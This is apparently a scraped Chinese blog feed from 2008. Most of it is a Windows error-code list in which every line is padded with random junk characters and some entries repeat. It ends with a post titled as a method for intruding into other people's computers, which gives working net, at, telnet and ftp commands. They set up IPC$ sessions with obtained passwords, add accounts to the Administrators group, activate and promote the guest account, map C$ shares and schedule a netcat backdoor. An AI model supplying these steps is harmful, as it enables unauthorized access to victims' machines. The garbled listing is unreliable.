109 0×0000006D Pipe 已经中止。 Tb}` ] Y`X 
110 0×0000006E 系统无法开启指定的 装置或档案。 Z\i@Qa+r 
111 0×0000006F 档名太长。 2#6yO` ?uo 
112 0×00000070 磁盘空间不足。 , + ,"" t 
113 0×00000071 没有可用的内部档案标识符。 R S ; r 
114 0×00000072 目标内部档案标识符不正确。 IR(JBB|xNQ 
117 0×00000075 由应用程序所执行的 IOCTL 呼叫 不正确。 ? o),F^i r 
118 0×00000076 写入验证参数值不正确。 ~WehG<p v[ 
119 0×00000077 系统不支持所要求的指令。 V ;1$FNR  
120 0×00000078 此项功能仅在 Win32 模式有效。 iZ wt,) ( 
121 0×00000079 semaphore 超过逾时期间。 |t!kD (~r 
122 0×0000007A 传到系统呼叫的资料区域 太小。 JC_Y# kN@z 
123 0×0000007B 文件名、目录名称或储存体卷标语法错误。 V&eti2 &zO 
124 0×0000007C 系统呼叫层次不正确。 w9SP kPkYE 
125 0×0000007D 磁盘没有设定卷标。 % FD i7Rx  
126 0×0000007E 找不到指定的模块。 rr>QG< i;G 
127 0×0000007F 找不到指定的程序。 wZJpSkcEx  
128 0×00000080 没有子行程可供等待。 g bsRf&4 h 
128 0×00000080 没有子行程可供等待。 o@> {kzC x 
129 0×00000081 %1 这个应用程序无法在 Win32 模式下执行。 r(y1^ S9!8 
130 0×00000082 Attempt to use a file handle to an open disk partition for an operation other than raw disk I/O. gh=s#DQsFw 
131 0×00000083 尝试将档案指针移至档案开头之前。 8 Y*SZTzV 
132 0×00000084 无法在指定的装置或档案，设定档案指针。 ,X s%Cg_Ig 
133 0×00000085 JOIN 或 SUBST 指令 无法用于 内含事先结合过的磁盘驱动器。 y3F13 Z@%  
134 0×00000086 尝试在已经结合的磁盘驱动器，使用 JOIN 或 SUBST 指令。 T= 35?  
135 0×00000087 尝试在已经替换的磁盘驱动器，使 用 JOIN 或 SUBST 指令。 lw Y k` ' 
136 0×00000088 系统尝试删除 未连结过的磁盘驱动器的连结关系。 _ +g5 ;S5 
137 0×00000089 系统尝试删除 未替换过的磁盘驱动器的替换关系。 LWH P31{ R 
138 0×0000008A 系统尝试将磁盘驱动器结合到已经结合过之磁盘驱动器的目录。 F+,X%$ A#? 
139 0×0000008B 系统尝试将磁盘驱动器替换成已经替换过之磁盘驱动器的目录。 { Md xIp[  
140 0×0000008C 系统尝试将磁盘驱动器替换成已经替换过之磁盘驱动器的目录。 } [}u5T`w> 
141 0×000000 系统尝试将磁盘驱动器 SUBST 成已结合的磁盘驱动器 目录。 26JP<&%L 
142 0×0000008E 系统此刻无法执行 JOIN 或 SUBST。 yjs5 =\@  
143 0×0000008F 系统无法将磁盘驱动器结合或替换同一磁盘驱动器下目录。 5,`U3n a, 
144 0×00000090 这个目录不是根目录的子目录。 *ze Y < 6  
145 0×00000091 目录仍有资料。 D R3 M|4[  
146 0×00000092 指定的路径已经被替换过。 9qD/q?H h$ 
147 0×00000093 资源不足，无法处理这项 指令。 F48 :mfj1r 
148 0×00000094 指定的路径这时候无法使用。 w 8: F^{  
148 0×00000094 指定的路径这时候无法使用。 z r@Bf!VG: 
149 0×00000095 尝试要结合或替换的磁盘驱动器目录，是已经替换过的的目标。 6 CO>Tg :% 
150 0×00000096 CONFIG.SYS 文件未指定系统追踪信息，或是追踪功能被取消。 + EG. p 
151 0×00000097 指定的 semaphore事件 DosMuxSemWait 数目不正确。 w J !  
152 0×00000098 DosMuxSemWait 没有执行；设定太多的 semaphore。 )Zz wD] 
153 0×00000099 DosMuxSemWait 清单不正确。 "V~U{ (Z  
154 0×0000009A 您所输入的储存媒体标 元长度限制。 %xxe U  
155 0×0000009B 无法建立其它的执行绪。 +x G] (? 
156 0×0000009C 接收行程拒绝接受信号。 $f1L<euH  
157 0×0000009D 区段已经被舍弃，无法被锁定。 \'E _  
158 0×0000009E 区段已经解除锁定。 VmBL N M ? 
159 0×0000009F 执行绪识别码的地址不正确。 y s+?+dY2  
160 0×000000A0 传到 DosExecPgm 的自变量字符串不正确。 / 6gRoQ%j 
161 0×000000A1 指定的路径不正确。 iZSj T"l^ 
162 0×000000A2 信号等候处理。 Jr''S}@|x 
164 0×000000A4 系统无法建立执行绪。 3ZZJY f= 
167 0×000000A7 无法锁定档案的部份范围。 xE6y9" }!h 
170 0×000000AA 所要求的资源正在使用中。 ?` `+ O H 
173 0×000000AD 取消范围的锁定要求不明显。 qp{N RNk Q 
174 0×000000AE 档案系统不支持自动变更锁定类型。 \2+x Mv)8  
180 0×000000B4 系统发现不正确的区段号码。 5# fL GX P 
182 0×000000B6 操作系统无法执行 %1。 ? {&#l2 
182 0×000000B6 操作系统无法执行 %1。 /f6]XP\'`+ 
183 0×000000B7 档案已存在，无法建立同一档案。 O.4"h 4{' 
186 0×000000BA 传送的旗号错误。 sXydM k`J  
187 0×000000BB 指定的系统旗号找不到。 / Z % ?; 
188 0×000000BC 操作系统无法执行 %1。 E: o:)h ?$ 
189 0×000000BD 操作系统无法执行 %1。 lcP @5Z W 
190 0×000000BE 操作系统无法执行 %1。 ZB2'm3'bh 
191 0×000000BF 无法在 Win32 模式下执行 %1。 O 1ha'@qID 
192 0×000000C0 操作系统无法执行 %1。 )f!dG(\ &# 
193 0×000000C1 %1 不是正确的 Win32 应用程序。 1b7x w#gLx 
194 0×000000C2 操作系统无法执行 %1。 N. G*ii \ 
195 0×000000C3 操作系统无法执行 %1。 q -G| @6O 
196 0×000000C4 操作系统无法执行 这个应用程序。 | 3,V%>z  
197 0×000000C5 操作系统目前无法执行 这个应用程序。 l>UUa f|O 
198 0×000000C6 操作系统无法执行 %1。 d `kM 0C  
199 0×000000C7 操作系统无法执行 这个应用程序。 - t 6R!Z I 
200 0×000000C8 程序代码的区段不可以大于或等于 64KB。 7_ 40_kwJi 
201 0×000000C9 操作系统无法执行 %1。 = *g$ #l4  
202 0×000000CA 操作系统无法执行 %1。 k&A 7a lw 
203 0×000000CB 系统找不到输入的环境选项。\r R6Zj= l[ 
205 0×000000CD 在指令子目录下，没有任何行程有信号副处理程序。 g. ? *F#2 
206 0×000000CE 文件名称或扩展名太长。 )Ig+uDGk  
207 0×000000CF ring 2 堆栈使用中。 q9^ Y ? ` 
207 0×000000CF ring 2 堆栈使用中。 m_m8c8{ Y 
208 0×000000D0 输入的通用档名字元 * 或 ? 不正确， 或指定太多的通用档名字元。 o_Jn_ 3=  
209 0×000000D1 所传送的信号不正确。 &8<< !#ob 
210 0×000000D2 无法设定信号处理程序。 E X%6''ys 
212 0×000000D4 区段被锁定，而且无法重新配置。 ' |l %rv 
214 0×000000D6 附加到此程序或动态连结模块的动态连结模块太多。 'X =p7 d|' 
215 0×000000D7 Can’t nest calls to LoadModule. .V T;H 1#  
230 0×000000E6 The pipe state is invalid. E2 @`d6  
231 0×000000E7 所有的 pipe instances 都在忙碌中。 `@[l\.Vt : 
232 0×000000E8 The pipe is being closed. { ;s; . 
233 0×000000E9 No process is on the other end of the pipe. k1)%.p t%  
234 0×000000EA 有更多可用的资料。 V A<5uk04K 
240 0×000000F0 作业阶段被取消。 `s|]"'rX 
254 0×000000FE 指定的延伸属性名称无效。 8"%RCE  
255 0×000000FF 延伸的属性不一致。 j~E",7Q'  
259 0×00000103 没有可用的资料。 (@r `$5D.b 
266 0×0000010A 无法使用 Copy API。 Aw5pd7qK L 
267 0×0000010B 目录名称错误。 ^03j8 Pc-c 
275 0×00000113 延伸属性不适用于缓冲区。 5%zXAQD =< 
276 0×00000114 在外挂的档案系统上的延伸属性档案已经毁损。 .zg8 i_ 
277 0×00000115 延伸属性表格文件满。 d}'U?6 ob  
278 0×00000116 指定的延伸属性代码无效。 ({ r*=wA P 
278 0×00000116 指定的延伸属性代码无效。 kOO Gw:/ 
282 0×0000011A 外挂的这个档案系统不支持延伸属性。 YH N R 3 
288 0×00000120 意图释放不属于叫用者的 mutex。 m!<i0thJ  
298 0×0000012A semaphore 传送次数过多。 ] ]7 mlQ  
299 0×0000012B 只完成 Read/WriteProcessMemory 的部份要求。 v Ef4HZ& w 
317 0×0000013D 系统找不到位于讯息文件 %2 中编号为 0×0000%1 的讯息。 CYOI.#m2  
487 0×000001E7 尝试存取无效的地址。 oFOn jK"|F 
534 0×00000216 运算结果超过 32 位。 d%l { V 6 
535 0×00000217 信道的另一端有一个行程在接送资料。 P[s 8JDqu 
536 0×00000218 等候行程来开启信道的另一端。 u2 ` b'R9 
994 0×000003E2 存取延伸的属性被拒。 =8 U &[F  
995 0×000003E3 由于执行绪结束或应用程序要求，而异常终止 I/O 作业。 N},n `Yl.  
996 0×000003E4 重叠的 I/O 事件不是设定成通知状态。 Zv cJK4 hi 
997 0×000003E5 正在处理重叠的 I/O 作业。 {rcnM7 S1L 
998 0×000003E6 对内存位置的无效存取。 / la fve ~ 
999 0×000003E7 执行 inpage 作业发生错误。 7'OtruJ  
1001 0×000003E9 递归太深，堆栈满溢。 hR.@b*q? R 
1002 0×000003EA 窗口无法用来传送讯息。 .; &# )l  
1003 0×000003EB 无法完成这项功能。 b O <C R 
1004 0×000003EC 旗号无效。 { a M<{_v  
1005 0×000003ED 储存媒体未含任何可辨识的档案系统。 请确定以加载所需的系统驱动程序，而且该储存媒体并未毁损。 ~@kU3ZG JZ 
1006 0×000003EE 储存该档案的外部媒体发出警告，表示该已开启档案已经无效。 Ye.r %i & 
1007 0×000003EF 所要求的作业无法在全屏幕模式下执行。 Zy09L}59P 
1008 0×000003F0 An attempt was made to reference a token that does not exist. J nv@ .  
1009 0×000003F1 组态系统登录数据库毁损。 #:d =)Qj0 
1010 0×000003F2 组态系统登录机码无效。 VAXT{s& 4> 
1011 0×000003F3 无法开启组态系统登录机码。 f J WC)E 
1012 0×000003F4 无法读取组态系统登录机码。 % N#%|2B 
1013 0×000003F5 无法写入组态系统登录机码。 :EHJ\+kejX 
1014 0×000003F6 系统登录数据库中的一个档案必须使用记录或其它备份还原。 已经还原成功。 `| Or {ih 
1015 0×000003F7 系统登录毁损。其中某个档案毁损、或者该档案的 系统映对内存内容毁损、会是档案无法复原。 @X3{x\i'I 
1016 0×000003F8 系统登录起始的 I/O 作业发生无法复原的错误。 系统登录无法读入、写出或更新，其中的一个档案 内含系统登录在内存中的内容。 q{ / 3V 
1017 0×000003F9 系统尝试将档案加载系统登录或将档案还原到系统登录中， 但是，指定档案的格式不是系统登录文件的格式。 R=T q j, 6 
1018 0×000003FA 尝试在标示为删除的系统登录机码，执行不合法的操作。 c"n ?' e 
1018 0×000003FA 尝试在标示为删除的系统登录机码，执行不合法的操作。 ~8m=1)A {( 
1019 0×000003FB 系统无法配置系统登录记录所需的空间。 =YG _z ^' 
1020 0×000003FC 无法在已经有子机码或数值的系统登录机码建立符号连结。 <|?K% FP7Z 
1021 0×000003FD 无法在临时机码下建立永久的子机码。 [Ei1~n)o 
1022 0×000003FE 变更要求的通知完成，但信息 并未透过呼叫者的缓冲区传回。呼叫者现在需要自行列举档案，找出变更的地方。 o Q =>'w 
1051 0×0000041B 停止控制已经传送给其它服务 所依峙的一个服务。 b 6E <r> q 
1052 0×0000041C 要求的控制对此服务无效 #D fo# ]k( 
1053 0×0000041D The service did not respond to the start or control request in a timely fashion. 1054 0×0000041E 无法建立服务的执行绪。 vs 6 ,  
1055 0×0000041F 服务数据库被锁定。 ( qwdQMj`  
1056 0×00000420 这种服务已经在执行。 _y .]3JNm 
1057 0×00000421 帐户名称错误或者不存在。 G%# 05 jH  
1058 0×00000422 指定的服务暂停作用，无法激活。 ;1 DdjETr 
1059 0×00000423 指定循环服务从属关系。 * Dr5O9Y 
1060 0×00000424 指定的服务不是安装进来的服务。 u @%|k c ` 
1061 0×00000425 该服务项目此时无法接收控制讯息。 klWY uStZ 
1062 0×00000426 服务尚未激活。 +_H dX w# 
1063 0×00000427 无法联机到服务控制程序。 % 6 =\5 > 
1064 0×00000428 处理控制要求时，发生意外状况。 S-E++f9D~  
1065 0×00000429 指定的数据库不存在。 dU;upS _ - 
1065 0×00000429 指定的数据库不存在。 Z^tGu 7x 
1066 0×0000042A 服务传回专属于服务的错误码。 -2 NwF4VL 
1067 0×0000042B The process terminated unexpectedly. {Jx7_T & 
1068 0×0000042C 从属服务或群组无法激活。 <%,'$^'DS 
1069 0×0000042D 因为登入失败，所以没有激活服务。 0^\/E RK 
1070 0×0000042E 在激活之后，服务在激活状态时当机。 R@ QQNYU.D 
1071 0×0000042F 指定服务数据库锁定无效。 [#X |+M&u6 
1072 0×00000430 指定的服务已经标示为删除。 6<7 6O~hNZ 
1073 0×00000431 指定的服务已经存在。 DrFur( =T 
1074 0×00000432 系统目前正以上一次执行成功的组态执行。 S auHFl 8? 
1075 0×00000433 从属服务不存在，或已经标示为删除。 \A JS,QD 
1076 0×00000434 目前的激活已经接受上一次执行成功的 控制设定。 l< n5gfJ 
1077 0×00000435 上一次激活之后，就没有再激活服务。 N p )ho8zU 
1078 0×00000436 指定的名称已经用于服务名称或服务显示 名称。 zw< 4G[u 
1100 0×0000044C 已经到了磁带的最后。 db ^ a L8 
1101 0×0000044D 到了档案标示。 = g >.X9lr 
1102 0×0000044E 遇到磁带的开头或分割区。 >6 I Xuq 
1103 0×0000044F 到了档案组的结尾。 rAM *\ =  
1104 0×00000450 磁带没有任何资料。 AvyQ4xim+  
1105 0×00000451 磁带无法制作分割区。 7 5kKDR}6  
1106 0×00000452 存取多重容体的新磁带时，发现目前 区块大小错误。 @ + iC/  
1107 0×00000453 加载磁带时，找不到磁带分割区信息。 1$);V,DK! 
1108 0×00000454 无法锁住储存媒体退带功能。 & a Y /eD 
1108 0×00000454 无法锁住储存媒体退带功能。 axWM| Bw<+ 
1109 0×00000455 无法解除加载储存媒体。 T {h yt 
1110 0×00000456 磁盘驱动器中的储存媒体已经变更。 :jZ*,d%1={ 
1111 0×00000457 已经重设 I/O 总线。 ph Wc 8[ Q 
1112 0×00000458 磁盘驱动器没有任何储存媒体。 k $9Gn 9L% 
1113 0×00000459 目标 multi-byte code page，没有对应 Unicode 字符。 h1Ke$#$6 
1114 0×0000045A 动态链接库 (DLL) 起始例程失败。 D6 C - x  
1115 0×0000045B 系统正在关机。 w]]x[D] L  
1116 0×0000045C 无法中止系统关机，因为没有关机的动作在进行中。 18[ ?d V 
1117 0×0000045D 因为 I/O 装置发生错误，所以无法执行要求。 %k1q4qOG]^ 
1118 0×0000045E 序列装置起始失败，会取消加载序列驱动程序。 AW{/k'%xw 
1119 0×0000045F 无法开启装置。这个装置与其它装置共享岔断要求 (IRQ)。 至少已经有一个使用同一IRQ 的其它装置已经开启。 ]0/~ 6f 
1120 0×00000460 A serial I/O operation was completed by another write to the serial port. (The IOCTL_SERIAL_XOFF_COUNTER reached zero.) b `;b}u g 
1121 0×00000461 因为已经过了逾时时间，所以序列 I/O 作业完成。(IOCTL_SERIAL_XOFF_COUNTER 不是零。) "_ % 0| ; 
1122 0×00000462 在磁盘找不到任何的 ID 地址标示。 ?M 1 Q J  
1123 0×00000463 磁盘扇区 ID 字段与磁盘控制卡追踪地址 不符。 e Jw i i 
1124 0×00000464 软式磁盘驱动器控制卡回报了一个软式磁盘驱动器驱动程序无法识别的错误。 < 3 ]/ms 
1125 0×00000465 软式磁盘驱动器控制卡传回与缓存器中不一致的结果。 w]}cB+C+l# 
1126 0×00000466 存取硬盘失败，重试后也无法作业。 ~TmHn Az 
1127 0×00000467 存取硬盘失败，重试后也无法作业。 < 8}9 s9Nk 
1128 0×00000468 存取硬盘时，必须重设磁盘控制卡，但是 连重设的动作也失败。 ;]Z HD$ g 
1129 0×00000469 到了磁带的最后。 'aSORVq^e[ 
1130 0×0000046A 可用服务器储存空间不足，无法处理这项指令。 h-u*~5dB<& 
1131 0×0000046B 发现潜在的死锁条件。 "e? #c<p7 
1132 0×0000046C 指定的基本地址或档案位移没有适当 对齐。 CK K5 +  
1140 0×00000474 尝试变更系统电源状态，但其它的应用程序或驱动程序拒绝。 'Z% aB CM 
1141 0×00000475 系统 BIOS 无法变更系统电源状态。 z~; qDf| I 
1150 0×0000047E 指定的程序需要新的 Windows 版本。 ^ Rh ~ + 
1151 0×0000047F 指定的程序不是 Windows 或 MS-DOS 程序。 i C \=U 
1152 0×00000480 指定的程序已经激活，无法再激活一次。 B Aed [ 
1153 0×00000481 指定的程序是为旧版的 Windows 所写的。 O \{_)L 
1154 0×00000482 执行此应用程序所需的链接库档案之一毁损。 M#,+ p8  
1155 0×00000483 没有应用程序与此项作业的指定档案建立关联。 L Z$!=vg4 
1156 0×00000484 传送指令到应用程序发生错误。 C*zdHzMj  
1157 0×00000485 找不到执行此应用程序所需的链接库档案。 e7 0*y'1fu 
1200 0×000004B0 指定的装置名称无效。 Ews Ja3 ` 
1201 0×000004B1 装置现在虽然未联机，但是它是一个记忆联机。 K> ~l6 
1202 0×000004B2 尝试记忆已经记住的装置。 Z]CH8 GS~< 
1203 0×000004B3 提供的网络路径找不到任何网络提供程序。 ; o =mL_[ 
1203 0×000004B3 提供的网络路径找不到任何网络提供程序。 fAi113q ! 
1204 0×000004B4 指定的网络提供程序名称错误。 Y|L5 7 F 
1205 0×000004B5 无法开启网络联机设定文件。 }Z|a?J@CZm 
1206 0×000004B6 网络联机设定文件坏掉。 w ,& R HQB 
1207 0×000004B7 无法列举非容器。 0 IZ V4 { 
1208 0×000004B8 发生延伸的错误。 Ok @5`?08 
1209 0×000004B9 指定的群组名称错误。 9 } =Fdt 
1210 0×000004BA 指定的计算机名称错误。 b# b#r  
1211 0×000004BB 指定的事件名称错误。 '& ` Zy pq 
1212 0×000004BC 指定的网络名称错误。 o,29C7I i 
1213 0×000004BD 指定的服务名称错误。 = 0Nd\ 
1214 0×000004BE 指定的网络名称错误。 xHf l> C'  
1215 0×000004BF 指定的资源共享名称错误。 =4?m >v,re 
1216 0×000004C0 指定的密码错误。 (mv8_~F0  
1217 0×000004C1 指定的讯息名称错误。 =x= #E tj| 
1218 0×000004C2 指定的讯息目的地错误。 ZMbv 1*Vt 
1219 0×000004C3 所提供的条件与现有的条件组发生冲突。 H 1+ G:TM 
1220 0×000004C4 尝试与网络服务器联机，但是 与该服务器的联机已经太多。 !t N]OQ) ' 
1221 0×000004C5 其它网络计算机已经在使用这个工作群组或网域名称。 ZV Viu4]?y 
1222 0×000004C6 网络没有显示出来或者没有激活。 D[ny%9 :  
1223 0×000004C7 使用者已经取消作业。 |K7JU^"OQ  
1224 0×000004C8 要求的作业无法在已经开启使用者对应区段的档案执行。 (eF HMRMv~ 
1225 0×000004C9 远程系统拒绝网络联机。 ) Yy `$` 
1225 0×000004C9 远程系统拒绝网络联机。 FlttqQQdf  
1226 0×000004CA 关闭网络联机。 M 1- n 
1227 0×000004CB 网络传输端点已经有相关连的地址。 ia ?{ ]!7$ 
1228 0×000004CC 地址尚未有相关的网络端点。 >,yE;zu w 
1229 0×000004CD 尝试在不存在的网络连线作业。 )v !GiZ" 7 
1230 0×000004CE 在作用中的网络联机上执行无效的作业。 gdPv,p19L 
1231 0×000004CF 无法传输到远程网络。 j " )#"& m 
1232 0×000004D0 无法联机到远程系统。 Aq nDs r ! 
1233 0×000004D1 远程系统不支持传输通讯协议。 ;n ]GHqzY_ 
1234 0×000004D2 远程系统的目的地网络端点没有作何执行中的服务。 }%2hBl/  
1235 0×000004D3 要求已经中止。 >1uo5, wrF 
1236 0×000004D4 进端系统已经中断网络联机。 I "Qf};n 
1237 0×000004D5 无法完成作业，请重试。 @G'&7-(h* 
1238 0×000004D6 无法与服务器联机，原因是这个帐户已经到达同时联机数目 的上限。 [7Fx #o=da 
1239 0×000004D7 尝试在这个帐户未授权的时间登入网络。 t.\<Q#bN# 
1240 0×000004D8 这个帐户无法从这个地方登入网络。 { 4]sJT 
1241 0×000004D9 网络地址无法用于这个要求的作业。 s2f 6; Yc 
1242 0×000004DA 服务已经登记。 7=hISQMsVP 
1243 0×000004DB 指定的服务不存在。 ( _0r'{ ` 
1244 0×000004DC 作业无法执行，原因是使用者尚未授权使用。 9 0S p( 
1245 0×000004DD 要求的作业无法执行，原因是使用者尚未登入网络。 指定的服务不存在。 E+"m @63 
1246 0×000004DE 传回要求呼叫者继续工作的讯息。 k.n - JS  
1247 0×000004DF 在完成起始作业之后，尝试再执行起始作业。 HU1ZQkf  
1248 0×000004E0 没有其它的近端装置。 ;oM 7H*W C 
1300 0×00000514 并未指定所有的参照权限给呼叫者。 1m4X l%KS> 
1301 0×00000515 帐户名称与安全识别码之间尚有未执行完成的联机。 Oe)B .{;Ph 
1302 0×00000516 此帐户并未设定特别的系统配额限制。 6 F:< c  
1303 0×00000517 没有可用的加密机码。传回一个已知的加密机码。 "n% 0L4 J 
1304 0×00000518 NT 密码太复杂，无法转换成 LAN Manager 密码。传回的LAN Manager密码是一个空字符串。 r W U L v 
1305 0×00000519 修正层次不详。 q+{$"s 9v 
1306 0×0000051A 表示两个修订阶层不兼容。 O6 "S=o& 
1307 0×0000051B 此安全识别码无法指定为这个对象的拥有者。 <^ da-b>C 
1308 0×0000051C 此安全识别码无法指定为主要的对象群组。 Ox%p"xuP , 
1309 0×0000051D An attempt has been made to operate on an impersonation token by a thread that is not currently impersonating a client. N4 )ZPL V 
1310 0×0000051E 不可以关闭群组。 @p< tJR"M 
1311 0×0000051F 目前没有可登入的服务器，所以无法处理登入要求。 7S2 "e[-x 
1312 0×00000520 指定登入作业阶段不存在。该作业阶段可能已经 结束。 X/ lmj_v 
1313 0×00000521 指定的权限不存在。 g.pR4M f=Z 
1313 0×00000521 指定的权限不存在。 FfNUF x2N 
1314 0×00000522 客户端未列出要求的权限。 ]0XlI;ah 
1315 0×00000523 所提供的名称格式与帐户名称不符。 Ab6R ?mUM 
1316 0×00000524 指定的使用者已经存在。 h [mJ=LIrg 
1317 0×00000525 指定的使用者不存在。 oL~?^` cGZ 
1318 0×00000526 指定的群组已经存在。 pp{ 2 [> 
1319 0×00000527 指定的群组不存存。 yfa l'DqKF 
1320 0×00000528 指定的使用者帐户已经是指定群组的成员，或 指定的群组因为内含成员而无法删除。 <PiO % w{ 
1321 0×00000529 指定的使用者帐户不是指定的群组帐户成员。 \VA*3U^ @  
1322 0×0000052A 上一次留下来的管理帐户无法关闭或 删除。
1323 0×0000052B 无法更新密码。所输入的密码不正确。
1324 0×0000052C 无法更新密码。所输入的新密码内含不符合 密码规定。
1325 0×0000052D 因为违反密码更新规则，所以无法更新密码。1326 0×0000052E 登入失败: 无法辨识的使用者名称或密码错误。 
1327 0×0000052F 登入失败: 使用者帐户限制。
1328 0×00000530 登入失败: 违反帐户登入时间限制。
1329 0×00000531 登入失败: 使用者不可登入这部计算机。 
1330 0×00000532 登入失败: 指定的帐户密码过期。 1331 0×00000533 登入失败: 帐户目前无效。

1332 0×00000534 帐户名称与帐户识别码不符。

1333 0×00000535 一次要求太多的近端使用者识别码 (local user identifiers，LUIDs)。
1333 0×00000535 一次要求太多的近端使用者识别码 (local user identifiers，LUIDs)。
1334 0×00000536 没有可用的近端使用者识别码 (local user identifiers ，LUIDs)。
1335 0×00000537 安全识别码的转授权部份对这个特殊用法无效。
1336 0×00000538 无效的存取控制清单结构。
1337 0×00000539 安全识别码结构无效。
1338 0×0000053A 安全叙述子结构无效。
1340 0×0000053C 无法建立继承的存取控制清单或存取控件目。
1341 0×0000053D 服务器目前无效。
1342 0×0000053E 服务器目前可以使用。
1343 0×0000053F 所提供的值是无效的识别码授权值。
1344 0×00000540 没有可供安全信息更新使用的内存。  
1345 0×00000541 指定的属性无效，或指定的属性与整个群

]]> http://zjysq1989.blog.163.com/blog/static/3786399620082211759338 0 http://zjysq1989.blog.163.com/blog/static/3786399620082211759338 Fri, 21 Mar 2008 01:07:59 +0800 2008-03-21T01:07:59+08:00 <![CDATA[ ＤＯＳ命令ＮＥＴ命令入侵他人计算机的方法]]> http://zjysq1989.blog.163.com/blog/static/3786399620082211433930 1：NET
只要你拥有某IP的用户名和密码，那就用IPC$做连接吧！ C Z(`|;BC* 
这里我们假如你得到的用户是hbx，密码是123456。假设对方IP为127.0.0.1 n @ [ 
net use 127.0.0.1ipc$ 123456 /user:hbx         null密码为空 +sf . PSz$ 
退出的命令是 M 0 w/wt| 
net use 127.0.0.1ipc$ /delete Ez pFOqJG 
2K{ 6iw"h  
net share是查看主机共享资源我们用它建一个秘密共享目录吧net share me=c:winntsystem32 这样这个机器就有了一个名为me的共享目录，而打开它就是winnt下的system32目录，如果你用win2000的系统就知这个目录有多重要了，如果不想要也好办net share me /delete 呵呵，没有了，是不是很方便的啊。 {m Tyt T 
,6,]#R :J 
下面的操作你必须登陆后才可以用.登陆的方法就在上面. c#c x>wq9 
s ? C&s|'. 
下面我们讲怎么创建一个用户，由于SA的权限相当于系统的超级用户. H/f U M  
我们加一个heibai的用户密码为lovechina L{fFC%|l2L 
net user heibai lovechina /add /)3Ln n {W 
只要显示命令成功，那么我们可以把他加入Administrator组了. +9; 2 xya2 
net localgroup Administrators heibai /add c a <" 
G4 _,  
这里是讲映射对方的C盘，当然其他盘也可以，只要存在就行了.我们这里把对方的C盘映射到本地的Z盘. xg@NQI@7  
net use z:127.0.0.1c$ !~ i ' -4] 
nAJdr*`a,5 
net start telnet 68 f iG  
这样可以打开对方的TELNET服务. Jb_ 1LZ) ] 
eDI= nSo  
这里是将Guest用户激活，guest是NT的默认用户，而且无法删除呢？不知道是否这样，我的2000就是删除不了它。 ,QIF & 
net user guest /active:yes(特别注意:这个命令是把原来被禁用的guest帐户再次激活) N{ SQ( %V 
mbRq J T>@ 
net user guest /active:no这样这个guest的用户就又被禁用了 V"o7jsFH6n 
qSqI7ptA \ 
这里是把一个用户的密码改掉，我们把guest的密码改为lovechina，其他用户也可以的。只要有权限就行了呀！ &c(WE RW?- 
net user guest lovechina UtB 6V)YI 
有人问到提高权限的问题 下面就解决下 ,:fl?x.X  
net localgroup administrators guest /add Xtz-\v#0o' 
将guest变为administrator 50TA : 7 
net命令果然强大啊！ net view命令看对方开了共享 IM$2V l C 
< R%;~){  
net user是查看所有用户列表，看看哪个用户是和你一样偷跑进来的，给他名给删掉，让他美， gH2,\z `[4 
net user 用户名 /delete哈哈,他没有了,管他什么是不是管理员呢,不过我们还是查一下管理员组有什么用户吧,这样的用户才对我们有用嘛 net localgroup administrators就列出管理员组成员了,再查看一下administrator这个用户，因为这个是创建系统时建出来的，所以要看看他的系统是什么时间创建出来的 h 2ZkCML  
net user administrator，然后再查看别的管理员用户是什么时间创建的，如果相差太远，那可能是被别人偷偷跑来偷建的，一律del，安全第一哦. r ' CM  
Qn ^bVhG+ 
2:at h2 5G/`  
一般一个入侵者入侵后都会留下后门，也就是种木马了，你把木马传了上去，怎么启动他呢？ g}p;\o  
那么需要用AT命令，这里假设你已经登陆了那个服务器。 Y( \T- bI 
$ 3Z- )m 
你首先要得到对方的时间， ^m _ yf|D$ 
net time 127.0.0.1 RzhWD^bB 
L6 >pGx  
将会返回一个时间，这里假设时间为12:1，现在需要新建一个作业，其ID=1 S4wi t IK5 
at 127.0.0.1 12:3 nc.exe "U. ^l kN  
这里假设了一个木马，名为NC.EXE，这个东西要在对方服务器上. Oi" a: bCU 
这里介绍一下NC，NC是NETCAT的简称，为了方便输入，一般会被改名.它是一个TELNET服务，端口为99. g < *BLF 
等到了12:3就可以连接到对方的99端口.这样就给对方种下了木马. s95vK7I 
1B*Wf P~ 
at命令功能强大,下面可以打个比方: B F{w)=@/' 
C:> AT 22:30 Start C:prettyboy.mp3  4YZS" K'E 
新加了一项作业，其作业 ID = 1 [现在我们新建立了一个任务 在22:30分 系统将自动播放歌曲] p}Fs'l?7Rq 
5> 9 Y| UU 
3:telnet \EoX8b}$b0 
这个命令非常实用，它可以与远方做连接，不过正常下需要密码、用户，不过你给对方种了木马，直接连到这个木马打开的端口. 9y k M 3 
telnet 127.0.0.1 99 t?;T3k [RM 
这样就可以连到对方的99端口.那你就可以在对方运行命令了，这个也就是肉鸡. $ #o 1M X  
E r u P  
4:FTP d Oa!ht x] 
它可以将你的东西传到对方机子上，你可以去申请个支持FTP上传的空间，国内多的是，如果真的找不到，我给www.51.NET，不错的.当我们申请完后，它会给用户名，密码，以及FTP服务器. [nN 7 qG 
在上传前需要登陆先，这里我们假设FTP服务器www.51.NET，用户名是HUCJS，密码是654321 ? s } % 
ftp www.51.net wN ]J8I r  
他会要求输入用户，成功后会要求输入密码. C;1 PsSE+A 
Rm h*TQu 
下面先说上传，假设你需上传的文件是INDEX.HTM，它位于C:下，传到对方D: W04av _u 5 
get c:index.htm d: o\4t4}z~'f 
假设你要把对方C盘下的INDEX.HTM，下到你的机子的D盘下 qb7 ^VIo%c 
put c:index.htm d: qe?Ggz3p. 
_ EKF-& Q6 
这里的问题是两个命令的解释正好弄反了，登陆ＦＴＰ服务器后get才是下载，而put命令是上传，这和tftp的命令正好相反，在tftp命令里get是上传put是下载，这下明白了吧，而且在ＦＴＰ服务器中不能用c:和d:这样来指明路径，这也是在tftp里面用的方法，FTP可不会执行的，不信你去试好了，正确应该这样上传文件put index.htm这样就足够了，装c盘根目录下的index.htm文件上传到FTP服务器的当前目录下，不喜欢就del index.htm删掉这文件，下载时先查看一下目录，dir然后看这个目录里有什么，有你要的你就get index.htm这样就把index.htm这个文件下载到你自己的c盘根目录下了。 }MZan" cfo 
' o=E! ? 
get index.htm c:inetpubwwwrootindex.htm（这里是把你空间上的index.htm下载到对方的c:inetpubwwwrootindex.htm）" lZ a?Y@  
5`yPT>*#m> 
5:copy >C^/ ,/%v 
下面我说说怎样把本地的文件复制到对方硬盘上去，      需要建立好IPC$连接才有效。 h 9Z[z73_a 
这里我们把本地C盘下的index.htm复制到127.0.0.1的C盘下 Si[eAAd' : 
copy index.htm 127.0.0.1c$index.htm K M e.i'  
|'@V<^ GR 
